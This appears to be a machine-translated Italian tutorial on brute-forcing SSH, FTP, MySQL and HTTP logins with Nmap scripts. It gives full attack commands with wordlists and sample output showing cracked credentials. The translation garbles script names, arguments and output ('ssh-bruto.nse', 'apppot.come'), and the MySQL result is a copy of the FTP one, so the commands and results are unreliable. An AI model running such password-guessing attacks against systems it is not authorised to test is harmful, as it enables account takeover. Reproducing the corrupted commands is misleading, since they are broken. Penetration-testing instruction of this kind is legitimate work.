[email protected]:~$ sudo apt install nmap -y
[email protected]:~$ cd /usr/share/nmap/scripts/
[email protected]:~$ ls *bruto*
In questo tutorial, esploreremo come possiamo usare Nmap per un attacco a forza bruta.
SSH Forza BrutaFor
SSH è un protocollo di amministrazione remota sicuro e supporta l'autenticazione basata su openssl e password. Per l'autenticazione basata su password SSH a forza bruta, possiamo usare "ssh-brute.nse” Nmap script.
ubuntu@ubuntu:/usr/share/nmap/script/$ ls *ssh*bruto*ssh-bruto.nse
Passa l'elenco di nomi utente e password come argomento a Nmap.
[email protected]:~$ nmap --script ssh-brute -p22 192.168.43.181--script-args userdb=users.txt,passdb=password.TXT
Avvio di Nmap 7.70 (https://nmap.org) a 2020-02-08 17:09 PKT
Rapporto di scansione Nmap per 192.168.43.181
L'host è attivo (0.latenza 00033s).
SERVIZIO DI STATO PORTUALE
22/tcp aperto ssh
| ssh-bruto:
| Conti:
| admin:p4ssw0rd - Credenziali valide
|_ Statistiche: 99 tentativi eseguiti in 60 secondi, tps medi: 1.7
Nmap fatto: 1 indirizzo IP (1 host up) scansionato in 60.17 secondi
Forza Bruta FTP
FTP è un protocollo di trasferimento file che supporta l'autenticazione basata su password. Per l'FTP a forza bruta, useremo "ftp-brute.nse” Nmap script.
ubuntu@ubuntu:/usr/share/nmap/script/$ ls *ftp*bruto*ftp-bruto.nse
Passa l'elenco di nomi utente e password come argomento a Nmap.
[email protected]:~$ nmap --script ftp-brute -p21 192.168.43.181 --script-argsuserdb=utenti.txt,passdb=password.TXT
Avvio di Nmap 7.70 (https://nmap.org) su 08/02/2020 16:51 PKT
Rapporto di scansione Nmap per 192.168.43.181
L'host è attivo (0.latenza 00021s).
SERVIZIO DI STATO PORTUALE
21/tcp aperto ftp
| ftp-bruto:
| Conti:
| admin:p4ssw0rd - Credenziali valide
|_ Statistiche: 99 tentativi eseguiti in 20 secondi, tps medi: 5.0
Nmap fatto: 1 indirizzo IP (1 host up) scansionato in 19.50 secondi
Forza bruta MYSQL
A volte, MySQL viene lasciato aperto a connessioni esterne e consente a chiunque di connettersi ad esso. La sua password può essere decifrata usando Nmap con lo script "mysql-brute".
[email protected]:~$ sudo nmap --script mysql-brute -p3306 192.168.43.181--script-args userdb=users.txt, passdb=password.TXT
Avvio di Nmap 7.70 (https://nmap.org) su 08/02/2020 16:51 PKT
Rapporto di scansione Nmap per 192.168.43.181
L'host è attivo (0.latenza 00021s).
SERVIZIO DI STATO PORTUALE
3306/tcp apri mysql
| ftp-bruto:
| Conti:
| admin:p4ssw0rd - Credenziali valide
|_ Statistiche: 99 tentativi eseguiti in 20 secondi, tps medi: 5.0
Nmap done: 1 indirizzo IP (1 host up) scansionato in 19.40 secondi
HTTP Brute Force
HTTP utilizza tre tipi di autenticazione per autenticare gli utenti sui server web. Queste metodologie sono utilizzate in router, modem e applicazioni web avanzate per scambiare nomi utente e password. Questi tipi sono:
Autenticazione di base
Nel protocollo di autenticazione di base HTTP, il browser codifica nome utente e password con base64 e li invia sotto l'intestazione "Autorizzazione". Puoi vederlo nello screenshot seguente.
Autorizzazione: Base YWRtaW46YWRtaW4=
Puoi decodificare in base64 questa stringa per vedere il nome utente e la password
[email protected]:~$ echo YWRtaW46YWRtaW4= | base64 -dadmin:admin
L'autenticazione di base HTTP non è sicura perché invia sia il nome utente che la password in testo normale. Qualsiasi attaccante Man-in-the-Middle può facilmente intercettare il traffico e decodificare la stringa per ottenere la password.
Autenticazione digest
L'autenticazione HTTP Digest utilizza tecniche di hashing per crittografare il nome utente e la password prima di inviarli al server.
Hash1 = MD5 (nome utente: dominio: password)Hash2=MD5(metodo: digestURI)
response=MD5(Hash1 : nonce : nonceCount : cnonce : qop : Hash2)
Puoi vedere questi valori sotto l'intestazione "Autorizzazione".
L'autenticazione basata sul digest è sicura perché la password non viene inviata in testo normale. Se un utente malintenzionato Man-in-the-Middle intercetta il traffico, non sarà in grado di ottenere la password in testo normale.
Autenticazione basata su modulo
Le autenticazioni Basic e Digest supportano solo il trasferimento di nome utente e password, mentre l'autenticazione basata su modulo può essere personalizzata in base alle esigenze dell'utente. Puoi creare la tua pagina web in HTML o JavaScript per applicare le tue tecniche di codifica e trasferimento.
Di solito i dati nell'autenticazione basata su modulo vengono inviati in testo normale. Per problemi di sicurezza, è necessario applicare HTTP per prevenire attacchi Man-in-the-Middle.
Possiamo forzare tutti i tipi di autenticazione HTTP usando Nmap. Useremo lo script "http-brute" per questo scopo.
ubuntu@ubuntu:/usr/share/nmap/script/$ ls *http*bruto*http-bruto.nse
Per testare questo script Nmap, risolveremo una sfida di forza bruta ospitata pubblicamente dall'accademia pentester a questo URL http://pentesteracademylab.apppot.com/lab/webapp/basicauth.
Dobbiamo fornire tutto, incluso il nome host, l'URI, il metodo di richiesta e i dizionari separatamente come argomento dello script.
[email protected]:~$ sudo nmap -p80 --script http-brute pentesteracademylab.apppot.come--script-args http-brute.hostname=pentesteracademylab.apppot.come,
http-bruto.path=/lab/webapp/basicauth, userdb=users.txt, passdb=password.TXT,
http-bruto.metodo=POST
Avvio di Nmap 7.70 (https://nmap.org) su 08/02/2020 21:37 PKT
Rapporto di scansione Nmap per pentesteracademylab.apppot.com (216.58.210.84)
L'host è attivo (0.latenza di 20 anni).
Altri indirizzi per pentesteracademylab.apppot.com (non scansionato): 2a00:1450:4018:803::2014
Record rDNS per 216.58.210.84: mct01s06-in-f84.1e100.netto
SERVIZIO DI STATO PORTUALE
80/tcp aperto http
| http-bruto:
| Conti:
| admin:aaddd - Credenziali valide
|_ Statistiche: 165 tentativi eseguiti in 29 secondi, tps medi: 5.3
Nmap done: 1 indirizzo IP (1 host up) scansionato in 31.22 secondi
Conclusione
Nmap può essere usato per fare molte cose nonostante la semplice scansione delle porte. Può sostituire Metasploit, Hydra, Medusa e molti altri strumenti realizzati appositamente per la forzatura bruta online. Nmap ha script integrati semplici e facili da usare che forzano quasi tutti i servizi inclusi HTTP, TELNEL, SSH, MySQL, Samba e altri.